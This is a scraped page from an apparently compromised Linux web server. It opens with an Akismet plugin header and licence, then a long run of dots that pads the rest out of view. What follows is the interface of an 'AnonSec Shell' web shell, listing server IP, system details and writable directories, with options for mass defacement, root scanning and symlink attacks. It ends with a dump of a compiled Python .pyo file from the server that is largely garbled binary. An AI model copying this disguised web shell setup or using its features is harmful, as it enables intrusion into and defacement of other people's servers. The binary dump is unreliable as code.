#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib64/python2.7/site-packages/subscription_manager/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib64/python2.7/site-packages/subscription_manager/async_utils.pyo
�
L��ec@`s�ddlmZmZmZddlZddlZddlmZddlm	Z
ddlmZddl
mZddlmZmZmZmZddlmZmZd	efd
��YZdefd��YZd
efd��YZdS(i(tprint_functiontdivisiontabsolute_importN(tqueue(tGObject(tDisconnected(tfetch_certificates(tIDENTITYtPLUGIN_MANAGERtCP_PROVIDERtrequire(tattachtentitlementt	AsyncPoolcB`s/eZd�Zd�Zd�Zdd�ZRS(cC`s||_tj�|_dS(N(tpoolRtQueue(tselfR((sF/usr/lib64/python2.7/site-packages/subscription_manager/async_utils.pyt__init__$s	cC`sdy-|jj|�|jj||df�Wn0tk
r_|jj||tj�f�nXdS(s2
        method run in the worker thread.
        N(RtrefreshRtputtNonet	Exceptiontsystexc_info(Rt	active_ontcallbacktdata((sF/usr/lib64/python2.7/site-packages/subscription_manager/async_utils.pyt_run_refresh(s

cC`sOy3|jjdt�\}}}|||�tSWntjk
rJtSXdS(s�
        glib idle method to watch for thread completion.
        runs the provided callback method in the main thread.
        tblockN(RtgettFalsetEmptytTrue(RRRterror((sF/usr/lib64/python2.7/site-packages/subscription_manager/async_utils.pyt
_watch_thread2s
c	C`sBtj|j�tjd|jddd|||f�j�dS(s8
        Run pool stash refresh asynchronously.
        ttargettnametAsyncPoolRefreshThreadtargsN(t
ga_GObjecttidle_addR"t	threadingtThreadRtstart(RRRR((sF/usr/lib64/python2.7/site-packages/subscription_manager/async_utils.pyR>sN(t__name__t
__module__RRR"RR(((sF/usr/lib64/python2.7/site-packages/subscription_manager/async_utils.pyR
"s		
	t	AsyncBindcB`s;eZd�Zd�Zd�Zddd�Zd�ZRS(cC`s:tt�|_tt�|_tt�|_||_dS(N(R
R	tcp_providerRtidentityRtplugin_managertcertlib(RR2((sF/usr/lib64/python2.7/site-packages/subscription_manager/async_utils.pyRIscC`s�yctj|jj��j|d|�|r?tj|�nt|j�|rbtj|�nWn't	k
r�tj|t
j��nXdS(Ntid(Rt
AttachServiceR/tget_consumer_auth_cptattach_poolR'R(RR2RRR(RRtquantityt
bind_callbackt
cert_callbacktexcept_callback((sF/usr/lib64/python2.7/site-packages/subscription_manager/async_utils.pyt	_run_bindOs&

cC`s�ygtj|jj��}|j|g�y|jj�Wntk
rOnX|rftj	|�nWn*t
k
r�tj	|tj�|�nXdS(s�
        Selection is only passed to maintain the gui error message.  This
        can be removed, because it doesn't really give us any more information
        N(
RtEntitlementServiceR/R5tremove_entitlements_by_serialsR2tupdateRR'R(RRR(Rtserialt	selectionRR:tent_service((sF/usr/lib64/python2.7/site-packages/subscription_manager/async_utils.pyt_run_unbindZs

cC`s8tjd|jddd|||||f�j�dS(NR#R$tAsyncBindBindThreadR&(R)R*R;R+(RRR7R:R8R9((sF/usr/lib64/python2.7/site-packages/subscription_manager/async_utils.pytbindlsc
C`s5tjd|jddd||||f�j�dS(NR#R$tAsyncBindUnbindThreadR&(R)R*RBR+(RR?R@RR:((sF/usr/lib64/python2.7/site-packages/subscription_manager/async_utils.pytunbindpsN(R,R-RR;RBRRDRF(((sF/usr/lib64/python2.7/site-packages/subscription_manager/async_utils.pyR.Gs
			tAsyncRepoOverridesUpdatecB`sPeZd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z	RS(cC`s||_tt�|_dS(N(t
overrides_apiR
RR0(RRH((sF/usr/lib64/python2.7/site-packages/subscription_manager/async_utils.pyRws	cC`s{yM|jj|jj�pg}|jjjdt�}|j|||�Wn'tk
rv|j|t	j
��nXdS(Ntapply_overrides(RHt
get_overridesR0tuuidtrepo_libt	get_reposRt_process_callbackRRR(Rtsuccess_callbackR:tcurrent_overridest
current_repos((sF/usr/lib64/python2.7/site-packages/subscription_manager/async_utils.pyt
_load_data{s
cC`s�y�d}t|�dkr9|jj|jj|�}nt|�dkri|jj|jj|�}n|r�|jj|�n|jjj	dt
�}|j|||�Wn'tk
r�|j|t
j��nXdS(sl
        Processes the override mapping and sends the overrides to the server for addition/removal.
        iRIN(RtlenRHt
add_overridesR0RKtremove_overridesR>RLRMRRNRRR(Rtto_addt	to_removeROR:RPRQ((sF/usr/lib64/python2.7/site-packages/subscription_manager/async_utils.pyt_update�s
cC`s�yZ|jj|jj|�}|jj|�|jjjdt�}|j|||�Wn't	k
r�|j|t
j��nXdS(NRI(RHtremove_all_overridesR0RKR>RLRMRRNRRR(Rtrepo_idsROR:RPRQ((sF/usr/lib64/python2.7/site-packages/subscription_manager/async_utils.pyt_remove_all�s
cG`stj||�dS(N(R'R((RRR&((sF/usr/lib64/python2.7/site-packages/subscription_manager/async_utils.pyRN�scC`s/tjd|jddd||f�j�dS(NR#R$t&AsyncRepoOverridesUpdateLoadDataThreadR&(R)R*RRR+(RROtfailure_callback((sF/usr/lib64/python2.7/site-packages/subscription_manager/async_utils.pyt	load_data�sc
C`s5tjd|jddd||||f�j�dS(NR#R$t-AsyncRepoOverridesUpdateUpdateOverridesThreadR&(R)R*RXR+(RRVRWROR:((sF/usr/lib64/python2.7/site-packages/subscription_manager/async_utils.pytupdate_overrides�sc	C`s2tjd|jddd|||f�j�dS(NR#R$t0AsyncRepoOverridesUpdateRemoveAllOverridesThreadR&(R)R*R[R+(RRZROR:((sF/usr/lib64/python2.7/site-packages/subscription_manager/async_utils.pyRY�s(
R,R-RRRRXR[RNR^R`RY(((sF/usr/lib64/python2.7/site-packages/subscription_manager/async_utils.pyRGus							(t
__future__RRRR)Rt	six.movesRtsubscription_manager.gaRR'tsubscription_manager.entcertlibRtsubscription_manager.managerlibRtsubscription_manager.injectionRRR	R
trhsmlib.servicesRRtobjectR
R.RG(((sF/usr/lib64/python2.7/site-packages/subscription_manager/async_utils.pyt<module>s"%.

Anon7 - 2022
AnonSec Team